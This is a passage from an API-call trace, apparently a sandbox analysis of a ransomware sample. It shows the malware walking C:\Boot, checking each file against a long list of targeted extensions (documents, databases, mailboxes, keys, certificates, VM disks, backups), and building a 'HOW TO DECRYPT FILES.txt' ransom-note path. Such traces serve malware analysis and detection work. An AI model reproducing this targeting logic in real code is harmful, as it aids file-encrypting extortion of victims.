returned 1 [0057.039] SetFileTime (hFile=0x74, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.039] CloseHandle (hObject=0x74) returned 1 [0057.040] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="BCD" | out: lpString1="C:\\Boot\\BCD") returned="C:\\Boot\\BCD" [0057.040] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.ems") returned 0 [0057.040] lstrlenA (lpString="*.ems") returned 5 [0057.040] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.db") returned 0 [0057.040] lstrlenA (lpString="*.db") returned 4 [0057.040] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.dbf") returned 0 [0057.040] lstrlenA (lpString="*.dbf") returned 5 [0057.040] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.myox") returned 0 [0057.040] lstrlenA (lpString="*.myox") returned 6 [0057.040] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.myo") returned 0 [0057.040] lstrlenA (lpString="*.myo") returned 5 [0057.040] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.qbw") returned 0 [0057.040] lstrlenA (lpString="*.qbw") returned 5 [0057.040] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.qbb") returned 0 [0057.040] lstrlenA (lpString="*.qbb") returned 5 [0057.040] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.qbm") returned 0 [0057.040] lstrlenA (lpString="*.qbm") returned 5 [0057.040] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.qbo") returned 0 [0057.040] lstrlenA (lpString="*.qbo") returned 5 [0057.040] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.qbx") returned 0 [0057.040] lstrlenA (lpString="*.qbx") returned 5 [0057.040] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.qba") returned 0 [0057.040] lstrlenA (lpString="*.qba") returned 5 [0057.040] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.qby") returned 0 [0057.040] lstrlenA (lpString="*.qby") returned 5 [0057.040] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.qbj") returned 0 [0057.041] lstrlenA (lpString="*.qbj") returned 5 [0057.041] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.ofx") returned 0 [0057.041] lstrlenA (lpString="*.ofx") returned 5 [0057.041] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.qif") returned 0 [0057.041] lstrlenA (lpString="*.qif") returned 5 [0057.041] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.mye") returned 0 [0057.041] lstrlenA (lpString="*.mye") returned 5 [0057.041] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.mbox") returned 0 [0057.041] lstrlenA (lpString="*.mbox") returned 6 [0057.041] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.eml") returned 0 [0057.041] lstrlenA (lpString="*.eml") returned 5 [0057.041] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.pst") returned 0 [0057.041] lstrlenA (lpString="*.pst") returned 5 [0057.041] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.ost") returned 0 [0057.041] lstrlenA (lpString="*.ost") returned 5 [0057.041] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.idx") returned 0 [0057.041] lstrlenA (lpString="*.idx") returned 5 [0057.041] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.dbx") returned 0 [0057.041] lstrlenA (lpString="*.dbx") returned 5 [0057.041] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.sql") returned 0 [0057.041] lstrlenA (lpString="*.sql") returned 5 [0057.041] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.mdb") returned 0 [0057.041] lstrlenA (lpString="*.mdb") returned 5 [0057.041] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.fdb") returned 0 [0057.041] lstrlenA (lpString="*.fdb") returned 5 [0057.042] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.wab") returned 0 [0057.042] lstrlenA (lpString="*.wab") returned 5 [0057.042] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.dat") returned 0 [0057.042] lstrlenA (lpString="*.dat") returned 5 [0057.042] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.txt") returned 0 [0057.042] lstrlenA (lpString="*.txt") returned 5 [0057.042] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.jpeg") returned 0 [0057.042] lstrlenA (lpString="*.jpeg") returned 6 [0057.042] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.jpg") returned 0 [0057.042] lstrlenA (lpString="*.jpg") returned 5 [0057.042] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.png") returned 0 [0057.042] lstrlenA (lpString="*.png") returned 5 [0057.042] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.php") returned 0 [0057.042] lstrlenA (lpString="*.php") returned 5 [0057.042] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.cs") returned 0 [0057.042] lstrlenA (lpString="*.cs") returned 4 [0057.042] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.cpp") returned 0 [0057.042] lstrlenA (lpString="*.cpp") returned 5 [0057.042] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.rar") returned 0 [0057.042] lstrlenA (lpString="*.rar") returned 5 [0057.042] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.zip") returned 0 [0057.042] lstrlenA (lpString="*.zip") returned 5 [0057.042] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.html") returned 0 [0057.042] lstrlenA (lpString="*.html") returned 6 [0057.042] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.htm") returned 0 [0057.043] lstrlenA (lpString="*.htm") returned 5 [0057.043] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.xlsx") returned 0 [0057.043] lstrlenA (lpString="*.xlsx") returned 6 [0057.043] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.xls") returned 0 [0057.043] lstrlenA (lpString="*.xls") returned 5 [0057.043] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.mp4") returned 0 [0057.043] lstrlenA (lpString="*.mp4") returned 5 [0057.043] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.ppt") returned 0 [0057.043] lstrlenA (lpString="*.ppt") returned 5 [0057.043] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.pptx") returned 0 [0057.043] lstrlenA (lpString="*.pptx") returned 6 [0057.043] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.doc") returned 0 [0057.043] lstrlenA (lpString="*.doc") returned 5 [0057.043] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.dot") returned 0 [0057.043] lstrlenA (lpString="*.dot") returned 5 [0057.043] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.docx") returned 0 [0057.043] lstrlenA (lpString="*.docx") returned 6 [0057.043] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.7z") returned 0 [0057.043] lstrlenA (lpString="*.7z") returned 4 [0057.043] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.tar") returned 0 [0057.043] lstrlenA (lpString="*.tar") returned 5 [0057.043] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.bz2") returned 0 [0057.043] lstrlenA (lpString="*.bz2") returned 5 [0057.043] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.gz") returned 0 [0057.043] lstrlenA (lpString="*.gz") returned 4 [0057.043] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.mkv") returned 0 [0057.043] lstrlenA (lpString="*.mkv") returned 5 [0057.044] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.eml") returned 0 [0057.044] lstrlenA (lpString="*.eml") returned 5 [0057.044] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.msg") returned 0 [0057.044] lstrlenA (lpString="*.msg") returned 5 [0057.044] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.edb") returned 0 [0057.044] lstrlenA (lpString="*.edb") returned 5 [0057.044] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.accdb") returned 0 [0057.044] lstrlenA (lpString="*.accdb") returned 7 [0057.044] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.odb") returned 0 [0057.044] lstrlenA (lpString="*.odb") returned 5 [0057.044] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.java") returned 0 [0057.044] lstrlenA (lpString="*.java") returned 6 [0057.044] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.asm") returned 0 [0057.044] lstrlenA (lpString="*.asm") returned 5 [0057.044] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.pfx") returned 0 [0057.044] lstrlenA (lpString="*.pfx") returned 5 [0057.044] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.pem") returned 0 [0057.044] lstrlenA (lpString="*.pem") returned 5 [0057.044] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.p12") returned 0 [0057.044] lstrlenA (lpString="*.p12") returned 5 [0057.044] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.gpg") returned 0 [0057.044] lstrlenA (lpString="*.gpg") returned 5 [0057.044] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.vsd") returned 0 [0057.044] lstrlenA (lpString="*.vsd") returned 5 [0057.044] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.odg") returned 0 [0057.045] lstrlenA (lpString="*.odg") returned 5 [0057.045] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.raw") returned 0 [0057.045] lstrlenA (lpString="*.raw") returned 5 [0057.045] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.nef") returned 0 [0057.045] lstrlenA (lpString="*.nef") returned 5 [0057.045] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.svg") returned 0 [0057.045] lstrlenA (lpString="*.svg") returned 5 [0057.045] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.psd") returned 0 [0057.045] lstrlenA (lpString="*.psd") returned 5 [0057.045] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.vmx") returned 0 [0057.045] lstrlenA (lpString="*.vmx") returned 5 [0057.045] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.vmdk") returned 0 [0057.045] lstrlenA (lpString="*.vmdk") returned 6 [0057.045] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.vdi") returned 0 [0057.045] lstrlenA (lpString="*.vdi") returned 5 [0057.045] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.lay6") returned 0 [0057.045] lstrlenA (lpString="*.lay6") returned 6 [0057.045] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.mpeg") returned 0 [0057.045] lstrlenA (lpString="*.mpeg") returned 6 [0057.045] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.djvu") returned 0 [0057.045] lstrlenA (lpString="*.djvu") returned 6 [0057.045] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.tiff") returned 0 [0057.045] lstrlenA (lpString="*.tiff") returned 6 [0057.045] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.backup") returned 0 [0057.045] lstrlenA (lpString="*.backup") returned 8 [0057.046] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.pdf") returned 0 [0057.046] lstrlenA (lpString="*.pdf") returned 5 [0057.046] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.cert") returned 0 [0057.046] lstrlenA (lpString="*.cert") returned 6 [0057.046] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.docm") returned 0 [0057.046] lstrlenA (lpString="*.docm") returned 6 [0057.046] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.xlsm") returned 0 [0057.046] lstrlenA (lpString="*.xlsm") returned 6 [0057.046] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.dwg") returned 0 [0057.046] lstrlenA (lpString="*.dwg") returned 5 [0057.046] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.nd") returned 0 [0057.046] lstrlenA (lpString="*.nd") returned 4 [0057.046] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.tlg") returned 0 [0057.046] lstrlenA (lpString="*.tlg") returned 5 [0057.046] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.lgb") returned 0 [0057.046] lstrlenA (lpString="*.lgb") returned 5 [0057.046] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.mov") returned 0 [0057.046] lstrlenA (lpString="*.mov") returned 5 [0057.046] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.xdw") returned 0 [0057.046] lstrlenA (lpString="*.xdw") returned 5 [0057.046] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.ods") returned 0 [0057.047] lstrlenA (lpString="*.ods") returned 5 [0057.047] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.wav") returned 0 [0057.047] lstrlenA (lpString="*.wav") returned 5 [0057.047] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.mp3") returned 0 [0057.047] lstrlenA (lpString="*.mp3") returned 5 [0057.047] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.aiff") returned 0 [0057.047] lstrlenA (lpString="*.aiff") returned 6 [0057.047] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.flac") returned 0 [0057.047] lstrlenA (lpString="*.flac") returned 6 [0057.047] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.m4a") returned 0 [0057.047] lstrlenA (lpString="*.m4a") returned 5 [0057.047] PathMatchSpecA (pszFile="C:\\Boot\\BCD", pszSpec="*.csv") returned 0 [0057.047] lstrlenA (lpString="*.csv") returned 5 [0057.047] FindNextFileA (in: hFindFile=0x4f6020, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x9098e7a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x4f72e0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0057.047] PeekMessageA (in: lpMsg=0x18fcc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fcc4) returned 0 [0057.047] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BCD.LOG") returned 1 [0057.047] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BCD.LOG") returned 1 [0057.047] lstrcmpiA (lpString1="", lpString2="BCD.LOG") returned -1 [0057.047] PathFindFileNameA (pszPath="C:\\Boot\\BCD") returned="BCD" [0057.047] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\" | out: lpString1="C:\\Boot\\") returned="C:\\Boot\\" [0057.047] PathAddBackslashA (in: pszPath="C:\\Boot\\" | out: pszPath="C:\\Boot\\") returned="" [0057.047] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\HOW TO DECRYPT FILES.txt" [0057.048] GetFileAttributesA (lpFileName="C:\\Boot\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\how to decrypt files.txt")) returned 0x20 [0057.048] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="BCD.LOG" | out: lpString1="C:\\Boot\\BCD.LOG") returned="C:\\Boot\\BCD.LOG" [0057.048] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.ems") returned 0 [0057.048] lstrlenA (lpString="*.ems") returned 5 [0057.048] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.db") returned 0 [0057.048] lstrlenA (lpString="*.db") returned 4 [0057.048] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.dbf") returned 0 [0057.048] lstrlenA (lpString="*.dbf") returned 5 [0057.048] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.myox") returned 0 [0057.048] lstrlenA (lpString="*.myox") returned 6 [0057.048] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.myo") returned 0 [0057.048] lstrlenA (lpString="*.myo") returned 5 [0057.048] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.qbw") returned 0 [0057.048] lstrlenA (lpString="*.qbw") returned 5 [0057.048] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.qbb") returned 0 [0057.048] lstrlenA (lpString="*.qbb") returned 5 [0057.049] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.qbm") returned 0 [0057.049] lstrlenA (lpString="*.qbm") returned 5 [0057.049] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.qbo") returned 0 [0057.049] lstrlenA (lpString="*.qbo") returned 5 [0057.049] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.qbx") returned 0 [0057.049] lstrlenA (lpString="*.qbx") returned 5 [0057.049] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.qba") returned 0 [0057.049] lstrlenA (lpString="*.qba") returned 5 [0057.049] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.qby") returned 0 [0057.049] lstrlenA (lpString="*.qby") returned 5 [0057.049] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.qbj") returned 0 [0057.049] lstrlenA (lpString="*.qbj") returned 5 [0057.049] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.ofx") returned 0 [0057.049] lstrlenA (lpString="*.ofx") returned 5 [0057.049] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.qif") returned 0 [0057.049] lstrlenA (lpString="*.qif") returned 5 [0057.049] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.mye") returned 0 [0057.049] lstrlenA (lpString="*.mye") returned 5 [0057.049] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.mbox") returned 0 [0057.049] lstrlenA (lpString="*.mbox") returned 6 [0057.050] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.eml") returned 0 [0057.050] lstrlenA (lpString="*.eml") returned 5 [0057.050] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.pst") returned 0 [0057.050] lstrlenA (lpString="*.pst") returned 5 [0057.050] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.ost") returned 0 [0057.050] lstrlenA (lpString="*.ost") returned 5 [0057.050] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.idx") returned 0 [0057.050] lstrlenA (lpString="*.idx") returned 5 [0057.050] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.dbx") returned 0 [0057.050] lstrlenA (lpString="*.dbx") returned 5 [0057.050] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.sql") returned 0 [0057.050] lstrlenA (lpString="*.sql") returned 5 [0057.050] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.mdb") returned 0 [0057.050] lstrlenA (lpString="*.mdb") returned 5 [0057.050] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.fdb") returned 0 [0057.050] lstrlenA (lpString="*.fdb") returned 5 [0057.050] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.wab") returned 0 [0057.050] lstrlenA (lpString="*.wab") returned 5 [0057.050] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.dat") returned 0 [0057.050] lstrlenA (lpString="*.dat") returned 5 [0057.050] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.txt") returned 0 [0057.050] lstrlenA (lpString="*.txt") returned 5 [0057.050] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.jpeg") returned 0 [0057.050] lstrlenA (lpString="*.jpeg") returned 6 [0057.050] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.jpg") returned 0 [0057.050] lstrlenA (lpString="*.jpg") returned 5 [0057.051] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.png") returned 0 [0057.051] lstrlenA (lpString="*.png") returned 5 [0057.051] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.php") returned 0 [0057.051] lstrlenA (lpString="*.php") returned 5 [0057.051] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.cs") returned 0 [0057.051] lstrlenA (lpString="*.cs") returned 4 [0057.051] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.cpp") returned 0 [0057.051] lstrlenA (lpString="*.cpp") returned 5 [0057.051] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.rar") returned 0 [0057.051] lstrlenA (lpString="*.rar") returned 5 [0057.051] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.zip") returned 0 [0057.051] lstrlenA (lpString="*.zip") returned 5 [0057.051] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.html") returned 0 [0057.051] lstrlenA (lpString="*.html") returned 6 [0057.051] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.htm") returned 0 [0057.051] lstrlenA (lpString="*.htm") returned 5 [0057.051] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.xlsx") returned 0 [0057.051] lstrlenA (lpString="*.xlsx") returned 6 [0057.051] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.xls") returned 0 [0057.051] lstrlenA (lpString="*.xls") returned 5 [0057.051] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.mp4") returned 0 [0057.051] lstrlenA (lpString="*.mp4") returned 5 [0057.051] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.ppt") returned 0 [0057.051] lstrlenA (lpString="*.ppt") returned 5 [0057.052] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.pptx") returned 0 [0057.052] lstrlenA (lpString="*.pptx") returned 6 [0057.052] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.doc") returned 0 [0057.052] lstrlenA (lpString="*.doc") returned 5 [0057.052] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.dot") returned 0 [0057.052] lstrlenA (lpString="*.dot") returned 5 [0057.052] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.docx") returned 0 [0057.052] lstrlenA (lpString="*.docx") returned 6 [0057.052] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.7z") returned 0 [0057.052] lstrlenA (lpString="*.7z") returned 4 [0057.052] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.tar") returned 0 [0057.052] lstrlenA (lpString="*.tar") returned 5 [0057.052] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.bz2") returned 0 [0057.052] lstrlenA (lpString="*.bz2") returned 5 [0057.052] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.gz") returned 0 [0057.052] lstrlenA (lpString="*.gz") returned 4 [0057.052] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.mkv") returned 0 [0057.052] lstrlenA (lpString="*.mkv") returned 5 [0057.052] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.eml") returned 0 [0057.052] lstrlenA (lpString="*.eml") returned 5 [0057.052] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.msg") returned 0 [0057.052] lstrlenA (lpString="*.msg") returned 5 [0057.052] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.edb") returned 0 [0057.052] lstrlenA (lpString="*.edb") returned 5 [0057.053] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.accdb") returned 0 [0057.053] lstrlenA (lpString="*.accdb") returned 7 [0057.053] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.odb") returned 0 [0057.053] lstrlenA (lpString="*.odb") returned 5 [0057.053] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.java") returned 0 [0057.053] lstrlenA (lpString="*.java") returned 6 [0057.053] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.asm") returned 0 [0057.053] lstrlenA (lpString="*.asm") returned 5 [0057.053] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.pfx") returned 0 [0057.053] lstrlenA (lpString="*.pfx") returned 5 [0057.053] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.pem") returned 0 [0057.053] lstrlenA (lpString="*.pem") returned 5 [0057.053] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.p12") returned 0 [0057.053] lstrlenA (lpString="*.p12") returned 5 [0057.053] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.gpg") returned 0 [0057.053] lstrlenA (lpString="*.gpg") returned 5 [0057.053] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.vsd") returned 0 [0057.053] lstrlenA (lpString="*.vsd") returned 5 [0057.054] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.odg") returned 0 [0057.054] lstrlenA (lpString="*.odg") returned 5 [0057.054] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.raw") returned 0 [0057.054] lstrlenA (lpString="*.raw") returned 5 [0057.054] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.nef") returned 0 [0057.054] lstrlenA (lpString="*.nef") returned 5 [0057.054] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.svg") returned 0 [0057.054] lstrlenA (lpString="*.svg") returned 5 [0057.054] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.psd") returned 0 [0057.054] lstrlenA (lpString="*.psd") returned 5 [0057.054] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.vmx") returned 0 [0057.054] lstrlenA (lpString="*.vmx") returned 5 [0057.054] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.vmdk") returned 0 [0057.054] lstrlenA (lpString="*.vmdk") returned 6 [0057.054] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.vdi") returned 0 [0057.054] lstrlenA (lpString="*.vdi") returned 5 [0057.054] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.lay6") returned 0 [0057.054] lstrlenA (lpString="*.lay6") returned 6 [0057.054] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.mpeg") returned 0 [0057.054] lstrlenA (lpString="*.mpeg") returned 6 [0057.055] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.djvu") returned 0 [0057.055] lstrlenA (lpString="*.djvu") returned 6 [0057.055] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.tiff") returned 0 [0057.055] lstrlenA (lpString="*.tiff") returned 6 [0057.055] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.backup") returned 0 [0057.055] lstrlenA (lpString="*.backup") returned 8 [0057.055] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.pdf") returned 0 [0057.055] lstrlenA (lpString="*.pdf") returned 5 [0057.055] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.cert") returned 0 [0057.055] lstrlenA (lpString="*.cert") returned 6 [0057.055] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.docm") returned 0 [0057.055] lstrlenA (lpString="*.docm") returned 6 [0057.055] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.xlsm") returned 0 